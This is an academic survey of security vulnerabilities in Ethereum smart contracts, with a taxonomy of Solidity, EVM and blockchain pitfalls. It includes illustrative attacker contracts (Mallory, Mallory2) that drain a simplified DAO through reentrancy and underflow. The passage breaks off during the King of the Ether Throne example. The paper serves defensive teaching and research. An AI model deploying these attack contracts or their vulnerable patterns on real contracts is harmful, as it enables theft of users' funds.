A survey of attacks on Ethereum smart contracts

Nicola Atzei, Massimo Bartoletti, and Tiziana Cimoli

Università degli Studi di Cagliari, Cagliari, Italy
{atzeinicola,bart,t.cimoli}@unica.it

Abstract. Smart contracts are computer programs that can be correctly executed by a network of mutually distrusting nodes, without the need of an external trusted authority. Since smart contracts handle and transfer assets of considerable value, besides their correct execution it is also crucial that their implementation is secure against attacks which aim at stealing or tampering the assets. We study this problem in Ethereum, the most well-known and used framework for smart contracts so far. We analyse the security vulnerabilities of Ethereum smart contracts, providing a taxonomy of common programming pitfalls which may lead to vulnerabilities. We show a series of attacks which exploit these vulnerabilities, allowing an adversary to steal money or cause other damage.

1 Introduction

The success of Bitcoin, a decentralised cryptographic currency that reached a capitalisation of 10 billions of dollars since its launch in 2009, has raised considerable interest both in industry and in academia. Industries — as well as national governments [48, 55] — are attracted by the "disruptive" potential of the *blockchain*, the underlying technology of cryptocurrencies. Basically, a blockchain is an append-only data structure maintained by the nodes of a peer-to-peer network. Cryptocurrencies use the blockchain as a public ledger where they record all the transfers of currency, in order to avoid double-spending of money.

Although Bitcoin is the most paradigmatic application of blockchain technologies, there are other applications far beyond cryptocurrencies: e.g., financial products and services, tracking the ownership of various kinds of properties, digital identity verification, voting, *etc.* A hot topic is how to leverage on blockchain technologies to implement *smart contracts* [34, 54]. Very abstractly, smart contracts are agreements between mutually distrusting participants, which are automatically enforced by the consensus mechanism of the blockchain — without relying on a trusted authority.

The most prominent framework for smart contracts is Ethereum [32], whose capitalisation has reached 1 billion dollars since its launch in July 2015[1]. In Ethereum, smart contracts are rendered as computer programs, written in a Turing-complete language. The consensus protocol of Ethereum, which specifies how the nodes of the peer-to-peer network extend the blockchain, has the goal

[1] https://coinmarketcap.com/currencies/ethereum

of ensuring the correct execution of contracts. One of the key insights of the protocol is that, to append a new block of data to the blockchain, nodes must participate to a lottery, where the probability of winning is proportional to the computational power of the node. An incentive mechanism ensures that, even if a malicious node who wins the lottery tries to append a block with incorrect contract executions, this block will be eventually removed from the blockchain. Despite some criticism about the effectiveness of the consensus protocol [37, 44], recent theoretical studies establish its security whenever the honest nodes control the majority of the computational power of the network [39, 52].

The fact that Ethereum smart contracts are executed correctly is a necessary condition for their effectiveness: otherwise, an adversary could tamper with executions in order e.g. to divert some money from a legit participant to herself. However, the correctness of executions alone is not sufficient to make smart contracts secure. Indeed, several security vulnerabilities in Ethereum smart contracts have been discovered both by hands-on development experience [35], and by static analysis of all the contracts on the Ethereum blockchain [43]. These vulnerabilities have been exploited by some real attacks on Ethereum contracts, causing losses of money. The most successful of these attacks managed to steal $\sim \$60M$ from a contract, but its effects were cancelled after an harshly debated revision of the blockchain.

There are several reasons which make the implementation of smart contracts particularly prone to errors in Ethereum. A significant part of them is related to *Solidity*, the high-level programming language supported by Ethereum. Many vulnerabilities seem to be caused by a misalignment between the semantics of Solidity and the intuition of programmers. The problem is that Solidity, whilst looking like a typed Javascript-like language (with exceptions and functions), implements some of these features in a peculiar way. At the same time, the language does not introduce constructs to deal with domain-specific aspects, like e.g. the fact that computation steps are recorded on a public blockchain, wherein they can be unpredictably reordered or delayed.

Another major cause of the proliferation of insecure smart contracts is that the documentation of known vulnerabilities is scattered through several sources, including the official documentation [8, 22], research papers [24, 35, 43], and also Internet discussion forums [7]. A comprehensive, self-contained and updated survey of vulnerabilities and attacks to Ethereum smart contracts is still lacking.

Contributions. In this paper we provide the first systematic exposition of the security vulnerabilities of Ethereum and of its high-level programming language, Solidity. We organize the causes of vulnerabilities in a taxonomy, whose purpose is twofold: (i) as a reference for developers of smart contracts, to know and avoid common pitfalls; (ii) as a guide for researchers, to foster the development of analysis and verification techniques for smart contracts. For most of the causes of vulnerabilities in the taxonomy, we present an actual attack (often carried on a real contract) which exploits them. All our attacks have been tested on the Ethereum testnet, and their code is available online at `co2.unica.it/ethereum`.

2 Background on Ethereum smart contracts

Ethereum [32] is a decentralized virtual machine, which runs programs — called *contracts* — upon request of users. Contracts are written in a Turing-complete bytecode language, called EVM bytecode [56]. Roughly, a contract is a set of functions, each one defined by a sequence of bytecode instructions. A remarkable feature of contracts is that they can transfer *ether* (a cryptocurrency similar to Bitcoin [46]) to/from users and to other contracts.

Users send *transactions* to the Ethereum network in order to: (i) create new contracts; (ii) invoke functions of a contract; (iii) transfer ether to contracts or to other users. All the transactions are recorded on a public, append-only data structure, called *blockchain*. The sequence of transactions on the blockchain determines the state of each contract, and the balance of each user.

Since contracts have an economic value, it is crucial to guarantee that their execution is performed correctly. To this purpose, Ethereum does *not* rely on a trusted central authority: rather, each transaction is processed by a large network of mutually untrusted peers — called *miners*. Potential conflicts in the execution of contracts (due e.g., to failures or attacks) are resolved through a *consensus* protocol based on "proof-of-work" puzzles. Ideally, the execution of contracts is correct whenever the adversary does not control the majority of the computational power of the network.

The security of the consensus protocol relies on the assumption that honest miners are rational, i.e. that it is more convenient for a miner to follow the protocol than to try to attack it. To make this assumption hold, miners receive some economic incentives for performing the (time-consuming) computations required by the protocol. Part of these incentives is given by the *execution fees* paid by users upon each transaction. These fees bound the execution steps of a transaction, so preventing from *denial-of-service* attacks where users try to overwhelm the network with time-consuming computations.

Programming smart contracts. We illustrate contracts through a small example (`AWallet`, in Figure 1), which implements a personal wallet associated to an owner. Rather than programming it directly as EVM bytecode, we use *Solidity*, a Javascript-like programming language which compiles into EVM bytecode[2]. Intuitively, the contract can receive ether from other users, and its owner can send (part of) that ether to other users via the function `pay`. The hashtable `outflow` records all the addresses[3] to which it sends money, and associates to each of them the total transferred amount. All the ether received is held by the contract. Its amount is automatically recorded in `balance`: this is a special variable, which cannot be altered by the programmer.

[2] Currently, Solidity is the only high-level language supported by the Ethereum community. Unless otherwise stated, in our examples we use version 0.3.1 of the compiler, released on March 31st, 2016.

[3] Addresses are sequences of 160 bits which uniquely identify contracts and users.

```
1  contract AWallet{
2      address owner;
3      mapping (address => uint) public outflow;
4
5      function AWallet(){ owner = msg.sender; }
6
7      function pay(uint amount, address recipient) returns (bool){
8          if (msg.sender != owner ||  msg.value != 0) throw;
9          if (amount > this.balance) return false;
10         outflow[recipient] += amount;
11         if (!recipient.send(amount)) throw;
12         return true;
13     }
14 }
```

Fig. 1. A simple wallet contract.

Contracts are composed by fields and functions. A user can invoke a function by sending a suitable transaction to the Ethereum nodes. The transaction *must* include the execution fee (for the miners), and *may* include a transfer of ether from the caller to the contract. Solidity also features exceptions, but with a peculiar behaviour. When an exception is thrown, it cannot be caught: the execution stops, the fee is lost, and all the side effects — including transfers of ether — are reverted.

The function `AWallet` at line 5 is a constructor, run only once when the contract is created. The function `pay` sends `amount` *wei* ($1\,wei = 10^{-18}\,ether$) from the contract to `recipient`. At line 8 the contract throws an exception if the caller (`msg.sender`) is not the owner, or if some ether (`msg.value`) is attached to the invocation and transferred to the contract. Since exceptions revert side effects, this ether is returned to the caller (who however loses the fee). At line 9, the call terminates if the required amount of ether is unavailable; in this case, there is no need to revert the state with an exception. At line 10, the contract updates the `outflow` registry, before transferring the ether to the recipient. The function `send` used at line 11 to this purpose presents some quirks, e.g. it may fail if the recipient is a contract (see Section 3).

Execution fees. Each function invocation is ideally executed by *all* miners in the Ethereum network. Miners are incentivized to do such work by the execution fees paid by the users which invoke functions. Besides being used as incentives, execution fees also protect against *denial-of-service* attacks, where an adversary tries to slow down the network by requesting time-consuming computations.

Execution fees are defined in terms of *gas* and *gas price*, and their product represents the cost paid by the user to execute code. More specifically, the transaction which triggers the invocation specifies the *gas limit* up to which the user is willing to pay, and the price per unit of gas. Roughly, the higher is the price per unit, the higher is the chance that miners will choose to execute the transaction. Each EVM operation consumes a certain amount of gas [56], and the overall fee depends on the whole sequence of operations executed by miners.

Miners execute a transaction until its normal termination, unless an exception is thrown. If the transaction terminates successfully, the remaining gas is returned to the caller, otherwise all the gas allocates for the transaction is lost. If a computation consumes all the allocated gas, it terminates with an "out-of-gas" exception — hence the caller loses all the gas[4]. An adversary wishing to attempt a denial-of-service attack (e.g. by invoking a time-consuming function) should allocate a large amount of gas, and pay the corresponding ether. If the adversary chooses a gas price consistently with the market, miners will execute the transaction, but the attack will be too expensive; otherwise, if the price is too low, miners will not execute the transaction.

The mining process. Miners group the transactions sent by users into *blocks*, and try to append them to the blockchain in order to collect the associated fees. Only those blocks which satisfy a given set of conditions, which altogether are called *validity*, can be appended to the blockchain. In particular, one of these conditions requires to solve a moderately hard "proof-of-work" puzzle[5], which depends on the previous block and on the transactions in the new block. The difficulty of the puzzle is dynamically updated so that the average mining rate is 1 block every 12 seconds.

When a miner solves the puzzle and broadcasts a new valid block to the network, the other miners discard their attempts, update their local copy of the blockchain by appending the new block, and start "mining" on top of it. The miner who solves the puzzle is rewarded with the fees of the transactions in the new block (and also with some fresh ether).

It may happen that two (or more) miners solve the puzzle almost simultaneously. In this case, the blockchain *forks* in two (or more) branches, with the new blocks pointing to the same parent block. The consensus protocol prescribes miners to extend the longest branch. Hence, even though both branches can transiently continue to exist, eventually the fork will be resolved for the longest branch. Only the transactions therein will be part of the blockchain, while those in the shortest branch will be discarded. The reward mechanism, inspired to the GHOST protocol in [52], assigns the full fees to the miners of the blocks in the longest branch, and a portion of the fees to those who mined the roots of the discarded branch[6]. E.g., assume that blocks A and B have the same parent, and that a miner appends a new block on top of A. The miner can donate part of its reward to the miner of the "uncle block" B, in order to increase the weight of its branch in the fork resolution process[7].

[4] Note that, were the gas returned to callers in case of exceptions, an adversary could easily mount a Denial-of-Service attack by repeatedly invoking a function which just throws an exception

[5] https://github.com/ethereum/wiki/wiki/Ethash

[6] Systems with low mining rate — like e.g. Bitcoin (1 block/10 minutes) — have a small probability of forks, hence typically they do not reward discarded blocks.

[7] Note however that a recent paper [40] argues that, while uncle blocks do provide block rewards to miners, they do not contribute towards the difficulty of the main chain. Therefore, Ethereum does not actually apply the GHOST protocol.

Level	Cause of vulnerability	Attacks
Solidity	Call to the unknown	4.1
	Gasless send	4.2
	Exception disorders	4.2, 4.5
	Type casts	—
	Reentrancy	4.1
	Keeping secrets	4.3
EVM	Immutable bugs	4.4, 4.5
	Ether lost in trasfer	—
	Stack size limit	4.5
Blockchain	Unpredictable state	4.5, 4.6
	Generating randomness	—
	Time constraints	4.5

Table 1. Taxonomy of vulnerabilities in Ethereum smart contracts.

Compiling Solidity into EVM bytecode. Although contracts are rendered as sets of functions in Solidity, the EVM bytecode has no support for functions. Therefore, the Solidity compiler translates contracts so that their first part implements a function dispatching mechanism. More specifically, each function is uniquely identified by a signature, based on its name and type parameters. Upon function invocation, this signature is passed as input to the called contract: if it matches some function, the execution jumps to the corresponding code, otherwise it jumps to the *fallback* function. This is a special function with no name and no arguments, which can be arbitrarily programmed. The fallback function is executed also when the contract is passed an empty signature: this happens e.g. when sending ether to the contract.

Solidity features three different constructs to invoke a contract from another contract, which also allow to send ether. All these constructs are compiled using the same bytecode instruction. The result is that the same behaviour can be implemented in several ways, with some subtle differences detailed in Section 3.

3 A taxonomy of vulnerabilities in smart contracts

In this section we systematize the security vulnerabilities of Ethereum smart contracts. We group the vulnerabilities in three classes, according to the level where they are introduced (Solidity, EVM bytecode, or blockchain). Further, we illustrate each vulnerability at the Solidity level through a small piece of code. All these vulnerabilities can be (actually, most of them *have been*) exploited to carry on attacks which e.g. steal money from contracts. Table 1 summarizes our taxonomy of vulnerabilities, with links to the attacks illustrated in Section 4.

Call to the unknown. Some of the primitives used in Solidity to invoke functions and to transfer ether may have the side effect of invoking the fallback function of the callee/recipient. We illustrate them below.

- `call` invokes a function (of another contract, or of itself), and transfers ether to the callee. E.g., one can invoke the function `ping` of contract `c` as follows:

  ```
  c.call.value(amount)(bytes4(sha3("ping(uint256)")),n);
  ```

  where the called function is identified by the first 4 bytes of its hashed signature, `amount` determines how many *wei* have to be transferred to `c`, and `n` is the actual parameter of `ping`. Remarkably, if a function with the given signature does not exist at address `c`, then the fallback function of `c` is executed, instead[8].
- `send` is used to transfer ether from the running contract to some recipient `r`, as in `r.send(amount)`. After the ether has been transferred, `send` executes the recipient's fallback. Others vulnerabilities related to `send` are detailed in "exception disorders" and "gasless send".
- `delegatecall` is quite similar to `call`, with the difference that the invocation of the called function is run in the caller environment. For instance, executing `c.delegatecall(bytes4(sha3("ping(uint256)")),n)`, if `ping` contains the variable `this`, it refers to the caller's address and not to `c`, and in case of ether transfer to some recipient `d` — via `d.send(amount)` — the ether is taken from the caller balance (see e.g. the attack in Section 4.6)[9].
- besides the primitives above, one can also use a *direct call* as follows:

  ```
  contract Alice { function ping(uint) returns (uint) }
  contract Bob   { function pong(Alice c){ c.ping(42); } }
  ```

  The first line declares the interface of `Alice`'s contract, and the last two lines contain `Bob`'s contract: therein, `pong` invokes `Alice`'s `ping` via a direct call. Now, if the programmer mistypes the interface of contract `Alice` (e.g., by declaring the type of the parameter as `int`, instead of `uint`), and `Alice` has no function with that signature, then the call to `ping` actually results in a call to `Alice`'s fallback function.

The fallback function is not the only piece of code that can be unexpectedly executed: other cases are reported in the vulnerabilities "type cast" at page 9 and "unpredictable state" at page 11.

Exception disorder. In Solidity there are several situations where an exception may be raised, e.g. if (i) the execution runs out of gas; (ii) the call stack reaches its limit; (iii) the command `throw` is executed. However, Solidity is not uniform in the way it handles exceptions: there are two different behaviours, which depend on how contracts call each others. For instance, consider:

```
contract Alice { function ping(uint) returns (uint) }
contract Bob   { uint x=0;
                 function pong(Alice c){ x=1; c.ping(42); x=2; } }
```

Now, assume that some user invokes `Bob`'s `pong`, and that `Alice`'s `ping` throws an exception. Then, the execution stops, and the side effects of the *whole* transaction

[8] Although the use of `call` is discouraged [21], in some cases this is the only possible way to transfer ether to contracts (as discussed in the context of the "gasless send" vulnerability at page 8).

[9] Also the use of `delegatecall` is discouraged.

are reverted. Therefore, the field `x` contains 0 after the transaction. Now, assume instead that `Bob` invokes `ping` via a `call`. In this case, only the side effects of that invocation are reverted, the `call` returns false, and the execution continues. Therefore, `x` contains 2 after the transaction.

More in general, assume that there is a chain of nested calls, when an exception is thrown. Then, the exception is handled as follows:

- if every element of the chain is a direct call, then the execution stops, and every side effect (including transfers of ether) is reverted. Further, all the gas allocated by the originating transaction is consumed;
- if at least one element of the chain is a `call` (the cases `delegatecall` and `send` are similar), then the exception is propagated along the chain, reverting all the side effects in the called contracts, *until* it reaches a `call`. From that point the execution is resumed, with the `call` returning false[10]. Further, all the gas allocated by the `call` is consumed.

To set an upper bound to the use of gas in a `call`, one can write:

```
c.call.gas(g)(bytes4(sha3("ping(uint256)")),n);
```

In case of exceptions, if no bound is specified then all the available gas is lost; otherwise, only `g` gas is lost.

The irregularity in how exceptions are handled may affect the security of contracts. For instance, believing that a transfer of ether was successful just because there were no exceptions may lead to attacks (see e.g. Sections 4.2 and 4.5). The quantitative analysis in [14] shows that $\sim$ 28% of contracts do not control the return value of `call`/`send` invocations (note however that the absence of these checks does not necessarily imply a vulnerability).

Gasless send. When using the function `send` to transfer ether to a contract, it is possible to incur in an out-of-gas exception. This may be quite unexpected by programmers, because transferring ether is not generally associated to executing code. The reason behind this exception is subtle. First, note that `c.send(amount)` is compiled in the same way of a `call` with empty signature, but the actual number of gas units available to the callee is always bound by 2300[11]. Now, since the `call` has no signature, it will invoke the callee's fallback function. However, 2300 units of gas only allow to execute a limited set of bytecode instructions, e.g. those which do not alter the state of the contract. In any other case, the `call` will end up in an out-of-gas exception.

We illustrate the behaviour of `send` through a small example, involving a contract `C` who sends ether through function `pay`, and two recipients `D1`, `D2`.

[10] Note that the return value of a function invoked via `call` is *not* returned.

[11] The actual number g of gas units depends on the version of the compiler. In versions $< 0.4.0$, $g = 0$ if `amount` $= 0$, otherwise $g = 2300$. In versions $\geq 0.4.0$, $g = 2300$.

```
1  contract C {
2    function pay(uint n, address d){
3      d.send(n);
4    }
5  }
```

```
6  contract D1 {
7      uint public count = 0;
8      function() { count++; }
9  }
10 contract D2 { function() {} }
```

There are three possible cases to execute `pay`:

- `n` $\neq 0$ and `d` $=$ `D1`. The `send` in `C` fails with an out-of-gas exception, because 2300 units of gas are not enough to execute the state-updating `D1`'s fallback.
- `n` $\neq 0$ and `d` $=$ `D2`. The `send` in `C` succeeds, because 2300 units of gas are enough to execute the empty fallback of `D2`.
- `n` $= 0$ and `d` $\in \{$`D1`, `D2`$\}$. For compiler versions $< 0.4.0$, the `send` in `C` fails with an out-of-gas exception, since the gas is not enough to execute any fallback, not even an empty one. For compiler versions $\geq 0.4.0$, the behaviour is the same as in one of the previous two cases, according whether `d` $=$ `D1` or `d` $=$ `D2`.

Summing up, sending ether via `send` succeeds in two cases: when the recipient is a contract with an unexpensive fallback, or when the recipient is a user.

Type casts. The Solidity compiler can detects some type errors (e.g., assigning an integer value to a variable of type string). Types are also used in direct calls: the caller must declare the callee's interface, and *cast* to it the callee's address when performing the call. For instance, consider again the direct call to `ping`:

```
contract Alice { function ping(uint) returns (uint) }
contract Bob   { function pong(Alice c){ c.ping(42); } }
```

The signature of `pong` informs the compiler that `c` adheres to interface `Alice`. However, the compiler only checks whether the interface declares the function `ping`, while it does *not* check that: (i) `c` is the address of contract `Alice`; (ii) the interface declared by `Bob` matches `Alice`'s actual interface. A similar situation happens with explicit type casts, e.g. `Alice(c).ping()`, where `c` is an address.

The fact that a contract can type-check may deceive programmers, making them believe that any error in checks (i) and (ii) is detected. Furthermore, even in the presence of such errors, the contract will not throw exceptions at run-time. Indeed, direct calls are compiled in the same EVM bytecode instruction used to compile `call` (except for the management of exceptions). Hence, in case of type mismatch, three different things may happen at run-time:

- if `c` is not a contract address, the call returns without executing any code[12];
- if `c` is the address of *any* contract having a function with the same signature as `Alice`'s `ping`, then that function is executed.
- if `c` is a contract with no function matching the signature of `Alice`'s `ping`, then `c`'s fallback is executed.

In all cases, no exception is thrown, and the caller is unaware of the error.

[12] Starting from version 0.4.0 of the Solidity compiler, an exception is thrown if the invoked address is associated with no code.

Reentrancy. The atomicity and sequentiality of transactions may induce programmers to believe that, when a non-recursive function is invoked, it cannot be *re-entered* before its termination. However, this is not always the case, because the fallback mechanism may allow an attacker to re-enter the caller function. This may result in unexpected behaviours, and possibly also in loops of invocations which eventually consume all the gas. For instance, assume that contract `Bob` is already on the blockchain, when the attacker publishes `Mallory` contract:

```
contract Bob {
  bool sent = false;
  function ping(address c) {
    if (!sent) {
       c.call.value(2)();
       sent = true;
}}}
```

```
contract Bob { function ping(); }

contract Mallory {
  function() {
    Bob(msg.sender).ping(this);
  }
}
```

The function `ping` in `Bob` is meant to send exactly 2*wei* to some address `c`, using a `call` with empty signature and no gas limits. Now, assume that `ping` has been invoked with `Mallory`'s address. As mentioned before, the `call` has the side effect of invoking `Mallory`'s fallback, which in turn invokes again `ping`. Since variable `sent` has not already been set to true, `Bob` sends again 2*wei* to `Mallory`, and invokes again her fallback, thus starting a loop. This loop ends when the execution eventually goes out-of-gas, or when the stack limit is reached (see the "stack size limit" vulnerability at page 11), or when `Bob` has been drained off all his ether. In all cases an exception is thrown: however, since `call` does not propagate the exception, only the effects of the last call are reverted, leaving all the previous transfers of ether valid.

This vulnerability resides in the fact that function `ping` is not *reentrant*, i.e. it may misbehave if invoked before its termination. Remarkably, the "DAO Attack", which caused a huge ether loss in June 2016, exploited this vulnerability (see Section 4.1 for more details on the attack).

Keeping secrets. Fields in contracts can be public, i.e. directly readable by everyone, or *private*, i.e. not directly readable by other users/contracts. Still, declaring a field as private does not guarantee its secrecy. This is because, to set the value of a field, users must send a suitable transaction to miners, who will then publish it on the blockchain. Since the blockchain is public, everyone can inspect the contents of the transaction, and infer the new value of the field.

Many contracts, e.g. those implementing multi-player games, require that some fields are kept secret for a while: for instance, if a field stores the next move of a player, revealing it to the other players may advantage them in choosing their next move. In such cases, to ensure that a field remains secret until a certain event occurs, the contract has to exploit suitable cryptographic techniques, like e.g. timed commitments [25, 29] (see Section 4.3).

Immutable bugs. Once a contract is published on the blockchain, it can no longer be altered. Hence, users can trust that *if* the contract implements their intended functionality, then its runtime behaviour will be the expected one as

well, since this is ensured by the consensus protocol. The drawback is that if a contract contains a bug, there is no direct way to patch it. So, programmers have to anticipate ways to alter or terminate a contract in its implementation [45] — although it is debatable the coherency of this with the principles of Ethereum[13].

The immutability of bugs has been exploited in various attacks, e.g. to steal ether, or to make it unredeemable by any user (see Sections 4.4 and 4.5). In all these attacks, there was no possibility of recovery. The only exception was the recovery from the "DAO attack". The countermeasure was an *hard-fork* of the blockchain, which basically nullified the effects of the transactions involved in the attack [15]. This solution was not agreed by the whole Ethereum community, as it contrasted with the "code is law" principle claimed so far. As a consequence, part of the miners refused to fork, and created an alternative blockchain [5].

Ether lost in transfer. When sending ether, one has to specify the recipient address, which takes the form of a sequence of 160 bits. However, many of these addresses are *orphan*, i.e. they are not associated to any user or contract. If some ether is sent to an orphan address, it is lost forever (note that there is no way to detect whether an address is orphan). Since lost ether cannot be recovered, programmers have to *manually* ensure the correctness of the recipient addresses.

Stack size limit. Each time a contract invokes another contract (or even itself via `this.f()`) the *call stack* associated with the transaction grows by one frame. The call stack is bounded to 1024 frames: when this limit is reached, a further invocation throws an exception.

Until October 18th 2016, it was possible to exploit this fact to carry on an attack as follows. An adversary starts by generating an almost-full call stack (via a sequence of nested calls), and then he invokes the victim's function, which will fail upon a further invocation. If the exception is not properly handled by the victim's contract, the adversary could manage to succeed in his attack. This vulnerability could be exploited together with others: e.g., in Section 4.5 we implement a malicious contract by exploiting the "exception disorder" and "stack size limit" vulnerabilities.

This cause of vulnerability has been addressed by an hard-fork of the Ethereum blockchain [1]. The fork changed the cost of several EVM instructions, and re-defined the way to compute the gas consumption of `call` and `delegatecall`. After the fork, a caller can allocate at most 63/64 of its gas: since, currently, the gas limit per block is ∼4,7M units, this implies that the maximum reachable depth of the call stack is always less than 1024 [10].

Unpredictable state. The state of a contract is determined by the value of its fields and `balance`. In general, when a user sends a transaction to the network in order to invoke some contract, he cannot be sure that the transaction will be run in the same state the contract was at the time of sending that transaction.

[13] This is one of the main points advertised by the slogan: "Ethereum is a decentralized platform that runs smart contracts: applications that run *exactly as programmed* without any possibility of downtime, censorship, fraud or third party interference".

This may happen because, in the meanwhile, other transactions have changed the contract state. Even if the user was fast enough to be the first to send a transaction, it is not guaranteed that such transaction will be the first to be run. Indeed, when miners group transactions into blocks, they are not required to preserve any order; they could also choose not to include some transactions.

There is another circumstance where a user may not know the actual state wherein his transaction will be run. This happens in case the blockchain forks (see Section 2). Recall that, when two miners discover a new valid block at the same time, the blockchain forks in two branches. Some miners will try to append new blocks on one of the branches, while some others will work on the other one. After some time, though, only the longest branch will be considered part of the blockchain, while the shortest one will be abandoned. Transactions in the shortest branch will then be ignored, because no longer part of the blockchain. Therefore, believing that a contract is in a certain state, could be determinant for a user in order to publish new transactions (e.g., for sending ether to other users). However, later on such state could be reverted, because the transactions that led to it could happen to be in the shortest branch of a fork.

In some cases, not knowing the state where a transaction will be run could give rise to vulnerabilities. E.g., this is the case when invoking contracts that can be dynamically updated. Note indeed that, although the code of a contract cannot be altered once published on the blockchain, with some forethinking it is possible to craft a contract whose components can be updated at his owner's request. At a later time, the owner can link such contract to a malicious component, which e.g. steals the caller's ether (see e.g. the attack in Section 4.6).

Generating randomness. The execution of EVM bytecode is deterministic: in the absence of misbehaviour, all miners executing a transaction will have the same results. Hence, to simulate non-deterministic choices, many contracts (e.g. lotteries, games, *etc.*) generate pseudo-random numbers, where the initialization seed is chosen uniquely for all miners.

A common choice is to take for this seed (or for the random number itself) the hash or the timestamp of some block that will appear in the blockchain at a given time in the future. Since all the miners have the same view of the blockchain, at run-time this value will be the same for everyone. Apparently, this is a secure way to generate random numbers, as the content of future blocks is unpredictable. However, since miners control which transactions are put in a block and in which order, a malicious miner could attempt to craft his block so to bias the outcome of the pseudo-random generator. The analysis in [30] on the randomness of the Bitcoin blockchain shows that an attacker, controlling a minority of the mining power of the network, could invest 50 bitcoins to significantly bias the probability distribution of the outcome; more recent research [49] proves that this is also possible with more limited resources.

Alternative solutions to this problem are based on timed commitment protocols [25, 29]. In these protocols, each participant chooses a secret, and then communicates to the others a digest of it, paying a deposit as a guarantee. Later on, participants must either reveal their secrets, or lose their deposits.

The pseudo-random number is then computed by combining the secrets of all participants [18, 19]. Also in this case an adversary could bias the outcome by not revealing her secret: however, doing so would result in losing her deposit. The protocol can then set the amount of the deposit so that not revealing the secret is an irrational strategy.

Time constraints. A wide range of applications use time constraints in order to determine which actions are permitted (or mandatory) in the current state. Typically, time constraints are implemented by using block timestamps, which are agreed upon by all the miners.

Contracts can retrieve the timestamp in which the block was mined; all the transactions within a block share the same timestamp. This guarantees the coherence with the state of the contract after the execution, but it may also expose a contract to attacks, since the miner who creates the new block can choose the timestamp with a certain degree of arbitrariness[14]. If a miner holds a stake on a contract, he could gain an advantage by choosing a suitable timestamp for a block he is mining. In Section 4.5 we show an attack exploiting this vulnerability.

4 Attacks

We now illustrate some attacks — many of which inspired to real use cases — which exploit the vulnerabilities presented in Section 3.

4.1 The DAO attack

The DAO [23] was a contract implementing a crowd-funding platform, which raised $\sim$ \$150M before being attacked on June 18th, 2016 [4]. An attacker managed to put $\sim$ \$60M under her control, until the hard-fork of the blockchain nullified the effects of the transactions involved in the attack.

We now present a simplified version of the DAO, which shares some of the vulnerabilities of the original one. We then show two attacks which exploit them[15].

```
contract SimpleDAO {
  mapping (address => uint) public credit;
  function donate(address to){credit[to] += msg.value;}
  function queryCredit(address to) returns (uint){
    return credit[to];
  }
  function withdraw(uint amount) {
    if (credit[msg.sender]>= amount) {
      msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
}}}
```

`SimpleDAO` allows participants to `donate` ether to fund contracts at their choice. Contracts can then `withdraw` their funds.

Attack #1. This attack, which is similar to the one used on the actual DAO, allows the adversary to steal *all* the ether from the `SimpleDAO`. The first step of the attack is to publish the contract `Mallory`.

[14] The tolerance in the choice of the timestamp was ∼900 seconds in a previous version of the protocol [3], but currently it has been reduced to a few seconds.

[15] This code works until Solidity v0.4.2. From there on, some changes to the syntax are needed as shown in co2.unica.it/ethereum/doc/attacks.html#simpledao.

```
1  contract Mallory {
2    SimpleDAO public dao = SimpleDAO(0x354...);
3    address owner;
4    function Mallory(){owner = msg.sender; }
5    function() { dao.withdraw(dao.queryCredit(this)); }
6    function getJackpot(){ owner.send(this.balance); }
7  }
```

Then, the adversary `donate`s some ether for `Mallory`, and invokes `Mallory`'s fallback. The fallback function invokes `withdraw`, which transfers the ether to `Mallory`. Now, the function `call` used to this purpose has the side effect of invoking `Mallory`'s fallback again (line 5), which maliciously calls back `withdraw`. Note that `withdraw` has been interrupted before it could update the `credit` field: hence, the check at line 8 succeeds again. Consequently, the DAO sends the credit to `Mallory` for the second time, and invokes her fallback again, and so on in a loop, until one of the following events occur: (i) the gas is exhausted, or (ii) the call stack is full, or (iii) the balance of DAO becomes zero. The overall effect of the attack is that, with a series of these attacks, the adversary can steal all the ether from the DAO. Note that the adversary can delay the out-of-gas exception by providing more gas in the originating transaction, because the `call` at line 9 does not specify a gas limit.

Attack #2. Also our second attack allows an adversary to steal all the ether from `SimpleDAO`, but it only need two calls to the fallback function. The first step is to publish `Mallory2`, providing it with a small amount of ether (e.g., $1 wei$). Then, the adversary invokes `attack` to `donate` $1 wei$ to herself, and subsequently `withdraw`s it. The function `withdraw` checks that the user credit is enough, and if so it transfers the ether to `Mallory2`.

```
1  contract Mallory2 {
2    SimpleDAO public dao = SimpleDAO(0x818EA...);
3    address owner; bool performAttack = true;
4
5    function Mallory2(){ owner = msg.sender; }
6
7    function attack() {
8      dao.donate.value(1)(this);
9      dao.withdraw(1);
10   }
```

```
1    function() {
2      if (performAttack) {
3        performAttack = false;
4        dao.withdraw(1);
5     }}
6
7    function getJackpot(){
8      dao.withdraw(dao.balance);
9      owner.send(this.balance);
10 }}
```

As in the previous attack, `call` invokes `Mallory2`'s fallback, which in turn calls back `withdraw`. Also in this case`withdraw` is interrupted before updating the `credit`: hence, the check at line 8 succeeds again. Consequently, the DAO sends $1 wei$ to `Mallory2` for the second time, and invokes her fallback again. However this time the fallback does nothing, and the nested calls begin to close. The effect is that `Mallory2`'s `credit` is updated twice: the first time to zero, and the second one to $(2^{256} - 1) wei$, because of the underflow. To finalise the attack, `Mallory2` invokes `getJackpot`, which steals all the ether from `SimpleDAO`, and transfers it to `Mallory2`'s owner.

Both attacks were possible because `SimpleDAO` sends the specified `amount` of ether *before* decreasing the `credit`. Overall, the attacks exploit the "call to the unknown", and "reentrancy" vulnerabilities. The first attack is more effective

with a larger investment, while the second one is already rewarding with an investment of just $1 wei$ (the smallest fraction of ether). Note that the second attack works also in a variant of `SimpleDAO`, which checks the return code of `call` at line 9 and throws an exception in case it fails.

4.2 King of the Ether Throne

The "King of the Ether Throne" [16, 17] is a game where players compete for acquiring the title of "King of the Ether". If someone wishes to be the king, he must pay some ether to the current king, plus a small fee to the contract. The prize to be king increases monotonically[16]. We discuss a simplified version of the game (with the same vulnerabilities), implemented as the contract `KotET`:

```
1  contract KotET {
2    address public king;
3    uint public claimPrice = 100;
4    address owner;
5
6    function KotET() {
7      owner = msg.sender;  king = msg.sender;
8    }
9
10   function sweepCommission(uint amount)  {
11     owner.send(amount);
12   }
13   function() {
14     if (msg.value < claimPrice) throw;
15
16     uint compensation = calculateCompensation();
17     king.send(compensation);
18     king = msg.sender;
19     claimPrice = calculateNewPrice();
20   }
21   /* other functions below */
22 }
```

Whenever a player sends `msg.value` ether to the contract, he also triggers the execution of `KotET`'s fallback. The fallback first checks that the sent ether is enough to buy the title: if not, it throws an exception (reverting the ether transfer); otherwise, the player is accepted as the new king. At this point, a `compensation` is sent to the dismissing king, and the player is crowned. The difference between `msg.value` and the compensation is kept by the contract. The owner of `KotET` can withdraw the ether accumulated in the contract through `sweepCommission`.

